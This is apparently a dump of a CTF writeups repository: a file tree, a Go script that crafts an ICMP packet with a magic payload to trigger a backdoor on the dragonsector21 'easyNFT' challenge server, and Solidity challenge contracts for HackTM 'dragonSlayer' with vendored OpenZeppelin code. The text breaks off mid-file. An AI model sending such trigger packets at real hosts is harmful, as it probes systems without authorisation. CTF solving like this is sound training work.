├── dragonsector21 └── easyNFT │ ├── README.md │ ├── files.tar.gz │ ├── go.mod │ ├── go.sum │ ├── hex_netlink.dump │ ├── netlink.dump │ ├── netlinkdump │ └── main.go │ ├── packetforge │ └── main.go │ └── task │ ├── README.md │ └── easynft.pcap ├── hacktm23 └── dragonSlayer │ ├── README.md │ ├── Sploit.sol │ ├── files │ ├── Bank.sol │ ├── BankNote.sol │ ├── Dragon.sol │ ├── GoldCoin.sol │ ├── Item.sol │ ├── Knight.sol │ ├── Setup.sol │ ├── Shop.sol │ └── openzeppelin-contracts │ │ ├── access │ │ ├── AccessControl.sol │ │ ├── AccessControlCrossChain.sol │ │ ├── AccessControlEnumerable.sol │ │ ├── IAccessControl.sol │ │ ├── IAccessControlEnumerable.sol │ │ ├── Ownable.sol │ │ ├── Ownable2Step.sol │ │ └── README.adoc │ │ ├── crosschain │ │ ├── CrossChainEnabled.sol │ │ ├── README.adoc │ │ ├── amb │ │ │ ├── CrossChainEnabledAMB.sol │ │ │ └── LibAMB.sol │ │ ├── arbitrum │ │ │ ├── CrossChainEnabledArbitrumL1.sol │ │ │ ├── CrossChainEnabledArbitrumL2.sol │ │ │ ├── LibArbitrumL1.sol │ │ │ └── LibArbitrumL2.sol │ │ ├── errors.sol │ │ ├── optimism │ │ │ ├── CrossChainEnabledOptimism.sol │ │ │ └── LibOptimism.sol │ │ └── polygon │ │ │ └── CrossChainEnabledPolygonChild.sol │ │ ├── finance │ │ ├── PaymentSplitter.sol │ │ ├── README.adoc │ │ └── VestingWallet.sol │ │ ├── governance │ │ ├── Governor.sol │ │ ├── IGovernor.sol │ │ ├── README.adoc │ │ ├── TimelockController.sol │ │ ├── compatibility │ │ │ ├── GovernorCompatibilityBravo.sol │ │ │ └── IGovernorCompatibilityBravo.sol │ │ ├── extensions │ │ │ ├── GovernorCountingSimple.sol │ │ │ ├── GovernorPreventLateQuorum.sol │ │ │ ├── GovernorProposalThreshold.sol │ │ │ ├── GovernorSettings.sol │ │ │ ├── GovernorTimelockCompound.sol │ │ │ ├── GovernorTimelockControl.sol │ │ │ ├── GovernorVotes.sol │ │ │ ├── GovernorVotesComp.sol │ │ │ ├── GovernorVotesQuorumFraction.sol │ │ │ └── IGovernorTimelock.sol │ │ └── utils │ │ │ ├── IVotes.sol │ │ │ └── Votes.sol │ │ ├── interfaces │ │ ├── IERC1155.sol │ │ ├── IERC1155MetadataURI.sol │ │ ├── IERC1155Receiver.sol │ │ ├── IERC1271.sol │ │ ├── IERC1363.sol │ │ ├── IERC1363Receiver.sol │ │ ├── IERC1363Spender.sol │ │ ├── IERC165.sol │ │ ├── IERC1820Implementer.sol │ │ ├── IERC1820Registry.sol │ │ ├── IERC20.sol │ │ ├── IERC20Metadata.sol │ │ ├── IERC2309.sol │ │ ├── IERC2612.sol │ │ ├── IERC2981.sol │ │ ├── IERC3156.sol │ │ ├── IERC3156FlashBorrower.sol │ │ ├── IERC3156FlashLender.sol │ │ ├── IERC4626.sol │ │ ├── IERC721.sol │ │ ├── IERC721Enumerable.sol │ │ ├── IERC721Metadata.sol │ │ ├── IERC721Receiver.sol │ │ ├── IERC777.sol │ │ ├── IERC777Recipient.sol │ │ ├── IERC777Sender.sol │ │ ├── README.adoc │ │ ├── draft-IERC1822.sol │ │ └── draft-IERC2612.sol │ │ ├── metatx │ │ ├── ERC2771Context.sol │ │ ├── MinimalForwarder.sol │ │ └── README.adoc │ │ ├── mocks │ │ ├── AccessControlCrossChainMock.sol │ │ ├── AccessControlEnumerableMock.sol │ │ ├── AccessControlMock.sol │ │ ├── AddressImpl.sol │ │ ├── ArraysMock.sol │ │ ├── BadBeacon.sol │ │ ├── Base64Mock.sol │ │ ├── BitmapMock.sol │ │ ├── CallReceiverMock.sol │ │ ├── CheckpointsMock.sol │ │ ├── ClashingImplementation.sol │ │ ├── ClonesMock.sol │ │ ├── ConditionalEscrowMock.sol │ │ ├── ContextMock.sol │ │ ├── CountersImpl.sol │ │ ├── Create2Impl.sol │ │ ├── DoubleEndedQueueMock.sol │ │ ├── DummyImplementation.sol │ │ ├── ECDSAMock.sol │ │ ├── EIP712External.sol │ │ ├── ERC1155BurnableMock.sol │ │ ├── ERC1155Mock.sol │ │ ├── ERC1155PausableMock.sol │ │ ├── ERC1155ReceiverMock.sol │ │ ├── ERC1155SupplyMock.sol │ │ ├── ERC1155URIStorageMock.sol │ │ ├── ERC1271WalletMock.sol │ │ ├── ERC165 │ │ │ ├── ERC165InterfacesSupported.sol │ │ │ ├── ERC165MaliciousData.sol │ │ │ ├── ERC165MissingData.sol │ │ │ ├── ERC165NotSupported.sol │ │ │ └── ERC165ReturnBomb.sol │ │ ├── ERC165CheckerMock.sol │ │ ├── ERC165Mock.sol │ │ ├── ERC165StorageMock.sol │ │ ├── ERC1820ImplementerMock.sol │ │ ├── ERC20BurnableMock.sol │ │ ├── ERC20CappedMock.sol │ │ ├── ERC20DecimalsMock.sol │ │ ├── ERC20FlashMintMock.sol │ │ ├── ERC20Mock.sol │ │ ├── ERC20PausableMock.sol │ │ ├── ERC20PermitMock.sol │ │ ├── ERC20SnapshotMock.sol │ │ ├── ERC20VotesCompMock.sol │ │ ├── ERC20VotesMock.sol │ │ ├── ERC20WrapperMock.sol │ │ ├── ERC2771ContextMock.sol │ │ ├── ERC3156FlashBorrowerMock.sol │ │ ├── ERC4626Mock.sol │ │ ├── ERC721BurnableMock.sol │ │ ├── ERC721ConsecutiveEnumerableMock.sol │ │ ├── ERC721ConsecutiveMock.sol │ │ ├── ERC721EnumerableMock.sol │ │ ├── ERC721Mock.sol │ │ ├── ERC721PausableMock.sol │ │ ├── ERC721ReceiverMock.sol │ │ ├── ERC721RoyaltyMock.sol │ │ ├── ERC721URIStorageMock.sol │ │ ├── ERC721VotesMock.sol │ │ ├── ERC777Mock.sol │ │ ├── ERC777SenderRecipientMock.sol │ │ ├── EnumerableMapMock.sol │ │ ├── EnumerableSetMock.sol │ │ ├── EtherReceiverMock.sol │ │ ├── GovernorCompMock.sol │ │ ├── GovernorCompatibilityBravoMock.sol │ │ ├── GovernorMock.sol │ │ ├── GovernorPreventLateQuorumMock.sol │ │ ├── GovernorTimelockCompoundMock.sol │ │ ├── GovernorTimelockControlMock.sol │ │ ├── GovernorVoteMock.sol │ │ ├── GovernorWithParamsMock.sol │ │ ├── InitializableMock.sol │ │ ├── MathMock.sol │ │ ├── MerkleProofWrapper.sol │ │ ├── MulticallTest.sol │ │ ├── MulticallTokenMock.sol │ │ ├── MultipleInheritanceInitializableMocks.sol │ │ ├── Ownable2StepMock.sol │ │ ├── OwnableMock.sol │ │ ├── PausableMock.sol │ │ ├── PullPaymentMock.sol │ │ ├── ReentrancyAttack.sol │ │ ├── ReentrancyMock.sol │ │ ├── RegressionImplementation.sol │ │ ├── SafeCastMock.sol │ │ ├── SafeERC20Helper.sol │ │ ├── SafeMathMock.sol │ │ ├── SignatureCheckerMock.sol │ │ ├── SignedMathMock.sol │ │ ├── SignedSafeMathMock.sol │ │ ├── SingleInheritanceInitializableMocks.sol │ │ ├── StorageSlotMock.sol │ │ ├── StringsMock.sol │ │ ├── TimersBlockNumberImpl.sol │ │ ├── TimersTimestampImpl.sol │ │ ├── UUPS │ │ │ ├── UUPSLegacy.sol │ │ │ └── UUPSUpgradeableMock.sol │ │ ├── VotesMock.sol │ │ ├── compound │ │ │ └── CompTimelock.sol │ │ ├── crosschain │ │ │ ├── bridges.sol │ │ │ └── receivers.sol │ │ └── wizard │ │ │ ├── MyGovernor1.sol │ │ │ ├── MyGovernor2.sol │ │ │ └── MyGovernor3.sol │ │ ├── proxy │ │ ├── Clones.sol │ │ ├── ERC1967 │ │ │ ├── ERC1967Proxy.sol │ │ │ └── ERC1967Upgrade.sol │ │ ├── Proxy.sol │ │ ├── README.adoc │ │ ├── beacon │ │ │ ├── BeaconProxy.sol │ │ │ ├── IBeacon.sol │ │ │ └── UpgradeableBeacon.sol │ │ ├── transparent │ │ │ ├── ProxyAdmin.sol │ │ │ └── TransparentUpgradeableProxy.sol │ │ └── utils │ │ │ ├── Initializable.sol │ │ │ └── UUPSUpgradeable.sol │ │ ├── security │ │ ├── Pausable.sol │ │ ├── PullPayment.sol │ │ ├── README.adoc │ │ └── ReentrancyGuard.sol │ │ ├── token │ │ ├── ERC1155 │ │ │ ├── ERC1155.sol │ │ │ ├── IERC1155.sol │ │ │ ├── IERC1155Receiver.sol │ │ │ ├── README.adoc │ │ │ ├── extensions │ │ │ │ ├── ERC1155Burnable.sol │ │ │ │ ├── ERC1155Pausable.sol │ │ │ │ ├── ERC1155Supply.sol │ │ │ │ ├── ERC1155URIStorage.sol │ │ │ │ └── IERC1155MetadataURI.sol │ │ │ ├── presets │ │ │ │ ├── ERC1155PresetMinterPauser.sol │ │ │ │ └── README.md │ │ │ └── utils │ │ │ │ ├── ERC1155Holder.sol │ │ │ │ └── ERC1155Receiver.sol │ │ ├── ERC20 │ │ │ ├── ERC20.sol │ │ │ ├── IERC20.sol │ │ │ ├── README.adoc │ │ │ ├── extensions │ │ │ │ ├── ERC20Burnable.sol │ │ │ │ ├── ERC20Capped.sol │ │ │ │ ├── ERC20FlashMint.sol │ │ │ │ ├── ERC20Pausable.sol │ │ │ │ ├── ERC20Permit.sol │ │ │ │ ├── ERC20Snapshot.sol │ │ │ │ ├── ERC20Votes.sol │ │ │ │ ├── ERC20VotesComp.sol │ │ │ │ ├── ERC20Wrapper.sol │ │ │ │ ├── ERC4626.sol │ │ │ │ ├── IERC20Metadata.sol │ │ │ │ ├── IERC20Permit.sol │ │ │ │ ├── draft-ERC20Permit.sol │ │ │ │ └── draft-IERC20Permit.sol │ │ │ ├── presets │ │ │ │ ├── ERC20PresetFixedSupply.sol │ │ │ │ ├── ERC20PresetMinterPauser.sol │ │ │ │ └── README.md │ │ │ └── utils │ │ │ │ ├── SafeERC20.sol │ │ │ │ └── TokenTimelock.sol │ │ ├── ERC721 │ │ │ ├── ERC721.sol │ │ │ ├── IERC721.sol │ │ │ ├── IERC721Receiver.sol │ │ │ ├── README.adoc │ │ │ ├── extensions │ │ │ │ ├── ERC721Burnable.sol │ │ │ │ ├── ERC721Consecutive.sol │ │ │ │ ├── ERC721Enumerable.sol │ │ │ │ ├── ERC721Pausable.sol │ │ │ │ ├── ERC721Royalty.sol │ │ │ │ ├── ERC721URIStorage.sol │ │ │ │ ├── ERC721Votes.sol │ │ │ │ ├── IERC721Enumerable.sol │ │ │ │ ├── IERC721Metadata.sol │ │ │ │ └── draft-ERC721Votes.sol │ │ │ ├── presets │ │ │ │ ├── ERC721PresetMinterPauserAutoId.sol │ │ │ │ └── README.md │ │ │ └── utils │ │ │ │ └── ERC721Holder.sol │ │ ├── ERC777 │ │ │ ├── ERC777.sol │ │ │ ├── IERC777.sol │ │ │ ├── IERC777Recipient.sol │ │ │ ├── IERC777Sender.sol │ │ │ ├── README.adoc │ │ │ └── presets │ │ │ │ └── ERC777PresetFixedSupply.sol │ │ └── common │ │ │ ├── ERC2981.sol │ │ │ └── README.adoc │ │ ├── utils │ │ ├── Address.sol │ │ ├── Arrays.sol │ │ ├── Base64.sol │ │ ├── Checkpoints.sol │ │ ├── Context.sol │ │ ├── Counters.sol │ │ ├── Create2.sol │ │ ├── Multicall.sol │ │ ├── README.adoc │ │ ├── StorageSlot.sol │ │ ├── Strings.sol │ │ ├── Timers.sol │ │ ├── cryptography │ │ │ ├── ECDSA.sol │ │ │ ├── EIP712.sol │ │ │ ├── MerkleProof.sol │ │ │ ├── SignatureChecker.sol │ │ │ └── draft-EIP712.sol │ │ ├── escrow │ │ │ ├── ConditionalEscrow.sol │ │ │ ├── Escrow.sol │ │ │ └── RefundEscrow.sol │ │ ├── introspection │ │ │ ├── ERC165.sol │ │ │ ├── ERC165Checker.sol │ │ │ ├── ERC165Storage.sol │ │ │ ├── ERC1820Implementer.sol │ │ │ ├── IERC165.sol │ │ │ ├── IERC1820Implementer.sol │ │ │ └── IERC1820Registry.sol │ │ ├── math │ │ │ ├── Math.sol │ │ │ ├── SafeCast.sol │ │ │ ├── SafeMath.sol │ │ │ ├── SignedMath.sol │ │ │ └── SignedSafeMath.sol │ │ └── structs │ │ │ ├── BitMaps.sol │ │ │ ├── DoubleEndedQueue.sol │ │ │ ├── EnumerableMap.sol │ │ │ └── EnumerableSet.sol │ │ └── vendor │ │ ├── amb │ │ └── IAMB.sol │ │ ├── arbitrum │ │ ├── IArbSys.sol │ │ ├── IBridge.sol │ │ ├── IDelayedMessageProvider.sol │ │ ├── IInbox.sol │ │ └── IOutbox.sol │ │ ├── compound │ │ ├── ICompoundTimelock.sol │ │ └── LICENSE │ │ ├── optimism │ │ ├── ICrossDomainMessenger.sol │ │ └── LICENSE │ │ └── polygon │ │ └── IFxMessageProcessor.sol │ └── solve_test.py ├── idek21 ├── I_Love_Snowy_Stegausaurus │ ├── README.md │ ├── chall.txt │ └── stegsnow.py ├── Intro_To_GDB │ ├── Intro_to_GDB │ └── README.md ├── Lsten │ ├── README.md │ ├── lsten_closer.so │ └── src.c ├── Obscure_Old_Register │ ├── README.md │ └── tallon.py ├── Rolling_On_My_Own │ ├── README.md │ ├── deroll.py │ └── nwo_ym_no_gnillor ├── Shreks_Activities │ └── README.md ├── Shreks_Lover │ └── README.md ├── Shreks_Lover2 │ └── README.md ├── Strings │ ├── README.md │ └── sgnirts └── Unfoldable │ ├── README.md │ └── message.fold ├── idek22 ├── phpfu...n │ ├── README.md │ ├── attachments │ │ ├── Dockerfile │ │ ├── error_handler.php │ │ └── phpfun.sh │ └── solution │ │ ├── .gitignore │ │ ├── Dockerfile │ │ ├── bash_82.php │ │ └── solve.py └── readme │ ├── README.md │ └── attachments │ ├── Dockerfile │ └── readme.go ├── imaginary23 └── temu │ ├── WRITEUP.md │ ├── handout │ └── temu.py │ ├── redos.py │ └── sploit.py └── uiuctf22 ├── Dads_Rules ├── README.md ├── handout.tar.zst └── handout │ ├── README │ ├── chal_build │ ├── 0001-ptp_kvm-Silence-initialization-warning.patch │ ├── Dockerfile │ ├── handout-readme │ ├── init_jail │ ├── init_nojail │ ├── jail.c │ ├── kconfig │ ├── run_jail.sh │ ├── run_nojail.sh │ └── setup.sh │ └── run │ ├── bzImage │ ├── initrd_jail │ ├── initrd_nojail │ ├── run_jail.sh │ └── run_nojail.sh └── Dads_Rules_Fixed ├── README.md ├── handout.tar.zst ├── handout ├── README ├── chal_build │ ├── 0001-ptp_kvm-Silence-initialization-warning.patch │ ├── Dockerfile │ ├── handout-readme │ ├── init_jail │ ├── init_nojail │ ├── jail.c │ ├── kconfig │ ├── run_jail.sh │ ├── run_nojail.sh │ └── setup.sh └── run │ ├── bzImage │ ├── initrd_jail │ ├── initrd_nojail │ ├── run_jail.sh │ └── run_nojail.sh └── sploit.py /dragonsector21/easyNFT/files.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daeMOn63/ctf-writeups/4018fbc0875761a60f6b750e2489da4968765621/dragonsector21/easyNFT/files.tar.gz -------------------------------------------------------------------------------- /dragonsector21/easyNFT/go.mod: -------------------------------------------------------------------------------- 1 | module easyNFT 2 | 3 | go 1.17 4 | 5 | require ( 6 | github.com/mdlayher/netlink v1.4.1 7 | github.com/ti-mo/netfilter v0.4.0 8 | golang.org/x/net v0.0.0-20210525063256-abc453219eb5 9 | ) 10 | 11 | require ( 12 | github.com/google/go-cmp v0.5.6 // indirect 13 | github.com/josharian/native v0.0.0-20200817173448-b6b71def0850 // indirect 14 | github.com/mdlayher/socket v0.0.0-20210307095302-262dc9984e00 // indirect 15 | github.com/pkg/errors v0.8.1 // indirect 16 | golang.org/x/sys v0.0.0-20210525143221-35b2ab0089ea // indirect 17 | ) 18 | -------------------------------------------------------------------------------- /dragonsector21/easyNFT/packetforge/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "encoding/hex" 6 | "fmt" 7 | "log" 8 | "math/rand" 9 | "net" 10 | 11 | "golang.org/x/net/icmp" 12 | "golang.org/x/net/ipv4" 13 | ) 14 | 15 | func main() { 16 | targetIP := "34.159.43.116" 17 | 18 | payload, _ := hex.DecodeString("dd48d0cfd3103cd4") 19 | payloadOffset := 0x1c 20 | responseOffset := 0x3c 21 | responseSize := 0x27 22 | 23 | padding := bytes.Repeat([]byte("A"), payloadOffset-len(payload)) 24 | data := append(padding, payload...) 25 | responseFill := bytes.Repeat([]byte("B"), (responseOffset - (payloadOffset + len(payload)) + responseSize)) 26 | data = append(data, responseFill...) 27 | 28 | // Make a new ICMP message 29 | m := icmp.Message{ 30 | Type: ipv4.ICMPTypeEcho, Code: 0, 31 | Body: &icmp.Echo{ 32 | ID: rand.Int(), Seq: rand.Int(), 33 | Data: data, 34 | }, 35 | } 36 | packet, err := m.Marshal(nil) 37 | if err != nil { 38 | panic(err) 39 | } 40 | 41 | conn, err := net.Dial("ip4:icmp", targetIP) 42 | if err != nil { 43 | log.Fatalf("Dial: %s\n", err) 44 | } 45 | 46 | n, err := conn.Write(packet) 47 | if err != nil { 48 | panic(err) 49 | } 50 | fmt.Printf("write %d bytes\n", n) 51 | fmt.Println(hex.Dump(packet)) 52 | } 53 | -------------------------------------------------------------------------------- /dragonsector21/easyNFT/task/README.md: -------------------------------------------------------------------------------- 1 | One of our servers is acting strangely lately. 2 | There are even rumours that it gives out flags if [asked in a right way](https://xkcd.com/424/). 3 | 4 | Our forensic team didn't find any backdoors, but when we try to list firewall rules, `nft` just hangs. 5 | The best we could get is this the netlink dump attached in easynft.pcap. 6 | 7 | Could you help us figure out what's going on? 8 | 9 | P.S. Obviously, the flag was redacted from the dump. 10 | 11 | 12 | easynft.hackable.software 34.159.43.116 13 | 14 | 15 | tshark -r task/easynft.pcap -x | grep -v "0000" | awk -F " " '{print $2}' | tr -d ' ' > hex.dump -------------------------------------------------------------------------------- /dragonsector21/easyNFT/task/easynft.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daeMOn63/ctf-writeups/4018fbc0875761a60f6b750e2489da4968765621/dragonsector21/easyNFT/task/easynft.pcap -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/BankNote.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.13; 4 | 5 | import "./openzeppelin-contracts/access/Ownable.sol"; 6 | import "./openzeppelin-contracts/token/ERC721/ERC721.sol"; 7 | 8 | contract BankNote is ERC721, Ownable { 9 | 10 | constructor() ERC721("BankNote", "BN") { } 11 | 12 | function mint(address to, uint256 tokenId) public onlyOwner { 13 | _safeMint(to, tokenId); 14 | } 15 | 16 | function burn(uint256 tokenId) public onlyOwner { 17 | _burn(tokenId); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/Dragon.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.13; 4 | 5 | contract Dragon { 6 | 7 | address public knight; 8 | uint public health; 9 | uint public clawAttack; 10 | uint public fireAttack; 11 | uint public defence; 12 | uint public attackRound; 13 | 14 | constructor(address knight_) { 15 | knight = knight_; 16 | health = 1_000_000; 17 | clawAttack = 1_000_000; 18 | fireAttack = 10_000_000; 19 | defence = 500_000; 20 | attackRound = 0; 21 | } 22 | 23 | modifier onlyKnight() { 24 | require(msg.sender == knight, "ONLY_KNIGHT"); 25 | _; 26 | } 27 | 28 | function doAttack() external onlyKnight returns (uint damage, bool isFire) { 29 | require(health > 0, "ALREADY_DEAD"); 30 | 31 | if (attackRound % 5 == 0) { 32 | damage = fireAttack; 33 | isFire = true; 34 | } else { 35 | damage = clawAttack; 36 | } 37 | 38 | attackRound++; 39 | } 40 | 41 | function receiveAttack(uint damage) external onlyKnight { 42 | uint damageDone; 43 | if (damage > defence) { 44 | damageDone = damage - defence; 45 | } 46 | if (damageDone > health) { 47 | damageDone = health; 48 | } 49 | health -= damageDone; 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/GoldCoin.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.13; 4 | 5 | import "./openzeppelin-contracts/access/Ownable.sol"; 6 | import "./openzeppelin-contracts/token/ERC20/ERC20.sol"; 7 | 8 | contract GoldCoin is ERC20, Ownable { 9 | 10 | constructor() ERC20("GoldCoin", "GC") { } 11 | 12 | function mint(address to, uint256 amount) public onlyOwner { 13 | _mint(to, amount); 14 | } 15 | 16 | function burn(address from, uint256 amount) public onlyOwner { 17 | _burn(from, amount); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/Item.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.13; 4 | 5 | import "./openzeppelin-contracts/access/Ownable.sol"; 6 | import "./openzeppelin-contracts/token/ERC1155/ERC1155.sol"; 7 | 8 | contract Item is ERC1155, Ownable { 9 | 10 | constructor() ERC1155("Item") { } 11 | 12 | function mint(address to, uint256 id, uint256 amount, bytes memory data) public onlyOwner { 13 | _mint(to, id, amount, data); 14 | } 15 | 16 | function burn(address from, uint256 id, uint256 amount) public onlyOwner { 17 | _burn(from, id, amount); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/Setup.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.13; 4 | 5 | import "./Knight.sol"; 6 | 7 | contract Setup { 8 | 9 | Knight public knight; 10 | 11 | bool public claimed; 12 | 13 | constructor() { 14 | knight = new Knight(); 15 | 16 | knight.equipItem(1); 17 | knight.equipItem(2); 18 | } 19 | 20 | function claim() external { 21 | require(!claimed, "ALREADY_CLAIMED"); 22 | claimed = true; 23 | knight.transferOwnership(msg.sender); 24 | } 25 | 26 | function isSolved() external view returns (bool) { 27 | return knight.health() > 0 && knight.dragon().health() == 0; 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/access/IAccessControlEnumerable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (access/IAccessControlEnumerable.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "./IAccessControl.sol"; 7 | 8 | /** 9 | * @dev External interface of AccessControlEnumerable declared to support ERC165 detection. 10 | */ 11 | interface IAccessControlEnumerable is IAccessControl { 12 | /** 13 | * @dev Returns one of the accounts that have `role`. `index` must be a 14 | * value between 0 and {getRoleMemberCount}, non-inclusive. 15 | * 16 | * Role bearers are not sorted in any particular way, and their ordering may 17 | * change at any point. 18 | * 19 | * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure 20 | * you perform all queries on the same block. See the following 21 | * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] 22 | * for more information. 23 | */ 24 | function getRoleMember(bytes32 role, uint256 index) external view returns (address); 25 | 26 | /** 27 | * @dev Returns the number of accounts that have `role`. Can be used 28 | * together with {getRoleMember} to enumerate all bearers of a role. 29 | */ 30 | function getRoleMemberCount(bytes32 role) external view returns (uint256); 31 | } 32 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/access/README.adoc: -------------------------------------------------------------------------------- 1 | = Access Control 2 | 3 | [.readme-notice] 4 | NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/access 5 | 6 | This directory provides ways to restrict who can access the functions of a contract or when they can do it. 7 | 8 | - {AccessControl} provides a general role based access control mechanism. Multiple hierarchical roles can be created and assigned each to multiple accounts. 9 | - {Ownable} is a simpler mechanism with a single owner "role" that can be assigned to a single account. This simpler mechanism can be useful for quick tests but projects with production concerns are likely to outgrow it. 10 | 11 | == Authorization 12 | 13 | {{Ownable}} 14 | 15 | {{Ownable2Step}} 16 | 17 | {{IAccessControl}} 18 | 19 | {{AccessControl}} 20 | 21 | {{AccessControlCrossChain}} 22 | 23 | {{IAccessControlEnumerable}} 24 | 25 | {{AccessControlEnumerable}} 26 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/crosschain/README.adoc: -------------------------------------------------------------------------------- 1 | = Cross Chain Awareness 2 | 3 | [.readme-notice] 4 | NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/crosschain 5 | 6 | This directory provides building blocks to improve cross-chain awareness of smart contracts. 7 | 8 | - {CrossChainEnabled} is an abstraction that contains accessors and modifiers to control the execution flow when receiving cross-chain messages. 9 | 10 | == CrossChainEnabled specializations 11 | 12 | The following specializations of {CrossChainEnabled} provide implementations of the {CrossChainEnabled} abstraction for specific bridges. This can be used to complex cross-chain aware components such as {AccessControlCrossChain}. 13 | 14 | {{CrossChainEnabledAMB}} 15 | 16 | {{CrossChainEnabledArbitrumL1}} 17 | 18 | {{CrossChainEnabledArbitrumL2}} 19 | 20 | {{CrossChainEnabledOptimism}} 21 | 22 | {{CrossChainEnabledPolygonChild}} 23 | 24 | == Libraries for cross-chain 25 | 26 | In addition to the {CrossChainEnabled} abstraction, cross-chain awareness is also available through libraries. These libraries can be used to build complex designs such as contracts with the ability to interact with multiple bridges. 27 | 28 | {{LibAMB}} 29 | 30 | {{LibArbitrumL1}} 31 | 32 | {{LibArbitrumL2}} 33 | 34 | {{LibOptimism}} 35 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/crosschain/amb/LibAMB.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.7.0) (crosschain/amb/LibAMB.sol) 3 | 4 | pragma solidity ^0.8.4; 5 | 6 | import {IAMB as AMB_Bridge} from "../../vendor/amb/IAMB.sol"; 7 | import "../errors.sol"; 8 | 9 | /** 10 | * @dev Primitives for cross-chain aware contracts using the 11 | * https://docs.tokenbridge.net/amb-bridge/about-amb-bridge[AMB] 12 | * family of bridges. 13 | */ 14 | library LibAMB { 15 | /** 16 | * @dev Returns whether the current function call is the result of a 17 | * cross-chain message relayed by `bridge`. 18 | */ 19 | function isCrossChain(address bridge) internal view returns (bool) { 20 | return msg.sender == bridge; 21 | } 22 | 23 | /** 24 | * @dev Returns the address of the sender that triggered the current 25 | * cross-chain message through `bridge`. 26 | * 27 | * NOTE: {isCrossChain} should be checked before trying to recover the 28 | * sender, as it will revert with `NotCrossChainCall` if the current 29 | * function call is not the result of a cross-chain message. 30 | */ 31 | function crossChainSender(address bridge) internal view returns (address) { 32 | if (!isCrossChain(bridge)) revert NotCrossChainCall(); 33 | return AMB_Bridge(bridge).messageSender(); 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/crosschain/arbitrum/CrossChainEnabledArbitrumL1.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.7.0) (crosschain/arbitrum/CrossChainEnabledArbitrumL1.sol) 3 | 4 | pragma solidity ^0.8.4; 5 | 6 | import "../CrossChainEnabled.sol"; 7 | import "./LibArbitrumL1.sol"; 8 | 9 | /** 10 | * @dev https://arbitrum.io/[Arbitrum] specialization or the 11 | * {CrossChainEnabled} abstraction the L1 side (mainnet). 12 | * 13 | * This version should only be deployed on L1 to process cross-chain messages 14 | * originating from L2. For the other side, use {CrossChainEnabledArbitrumL2}. 15 | * 16 | * The bridge contract is provided and maintained by the arbitrum team. You can 17 | * find the address of this contract on the rinkeby testnet in 18 | * https://developer.offchainlabs.com/docs/useful_addresses[Arbitrum's developer documentation]. 19 | * 20 | * _Available since v4.6._ 21 | */ 22 | abstract contract CrossChainEnabledArbitrumL1 is CrossChainEnabled { 23 | /// @custom:oz-upgrades-unsafe-allow state-variable-immutable 24 | address private immutable _bridge; 25 | 26 | /// @custom:oz-upgrades-unsafe-allow constructor 27 | constructor(address bridge) { 28 | _bridge = bridge; 29 | } 30 | 31 | /** 32 | * @dev see {CrossChainEnabled-_isCrossChain} 33 | */ 34 | function _isCrossChain() internal view virtual override returns (bool) { 35 | return LibArbitrumL1.isCrossChain(_bridge); 36 | } 37 | 38 | /** 39 | * @dev see {CrossChainEnabled-_crossChainSender} 40 | */ 41 | function _crossChainSender() internal view virtual override onlyCrossChain returns (address) { 42 | return LibArbitrumL1.crossChainSender(_bridge); 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/crosschain/arbitrum/CrossChainEnabledArbitrumL2.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.8.0) (crosschain/arbitrum/CrossChainEnabledArbitrumL2.sol) 3 | 4 | pragma solidity ^0.8.4; 5 | 6 | import "../CrossChainEnabled.sol"; 7 | import "./LibArbitrumL2.sol"; 8 | 9 | /** 10 | * @dev https://arbitrum.io/[Arbitrum] specialization or the 11 | * {CrossChainEnabled} abstraction the L2 side (arbitrum). 12 | * 13 | * This version should only be deployed on L2 to process cross-chain messages 14 | * originating from L1. For the other side, use {CrossChainEnabledArbitrumL1}. 15 | * 16 | * Arbitrum L2 includes the `ArbSys` contract at a fixed address. Therefore, 17 | * this specialization of {CrossChainEnabled} does not include a constructor. 18 | * 19 | * _Available since v4.6._ 20 | * 21 | * WARNING: There is currently a bug in Arbitrum that causes this contract to 22 | * fail to detect cross-chain calls when deployed behind a proxy. This will be 23 | * fixed when the network is upgraded to Arbitrum Nitro, currently scheduled for 24 | * August 31st 2022. 25 | */ 26 | abstract contract CrossChainEnabledArbitrumL2 is CrossChainEnabled { 